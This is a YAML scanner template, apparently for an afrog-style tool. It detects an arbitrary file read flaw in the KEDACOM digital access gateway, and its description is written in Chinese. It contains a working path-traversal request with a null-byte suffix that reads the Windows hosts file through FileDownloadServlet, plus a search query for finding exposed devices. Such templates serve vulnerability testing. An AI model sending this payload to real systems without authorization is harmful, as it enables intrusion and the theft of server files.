kedacom-gateway-file-read: KEDACOM数字系统接入网关 任意文件读取漏洞

id: kedacom-gateway-file-read

info:
  name: KEDACOM数字系统接入网关 任意文件读取漏洞
  author: zan8in
  severity: high
  description: |
    KEDACOM 数字系统接入网关 存在任意文件读取漏洞，攻击者通过构造请求可以读取服务器任意文件
    (app="KEDACOM-DVR接入网关") && (is_honeypot=false && is_fraud=false)
  reference:
    - http://wiki.peiqi.tech/wiki/iot/KEDACOM/KEDACOM%E6%95%B0%E5%AD%97%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%85%A5%E7%BD%91%E5%85%B3%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.html

rules:
  r0:
    request:
      method: GET
      path: /gatewayweb/FileDownloadServlet?fileName=test.txt&filePath=../../../../../../../../../../Windows/System32/drivers/etc/hosts%00.jpg&type=2
    expression: response.status == 200 && response.body.bcontains(b'Microsoft TCP/IP for Windows') && response.body.bcontains(b'HOSTS file')
expression: r0()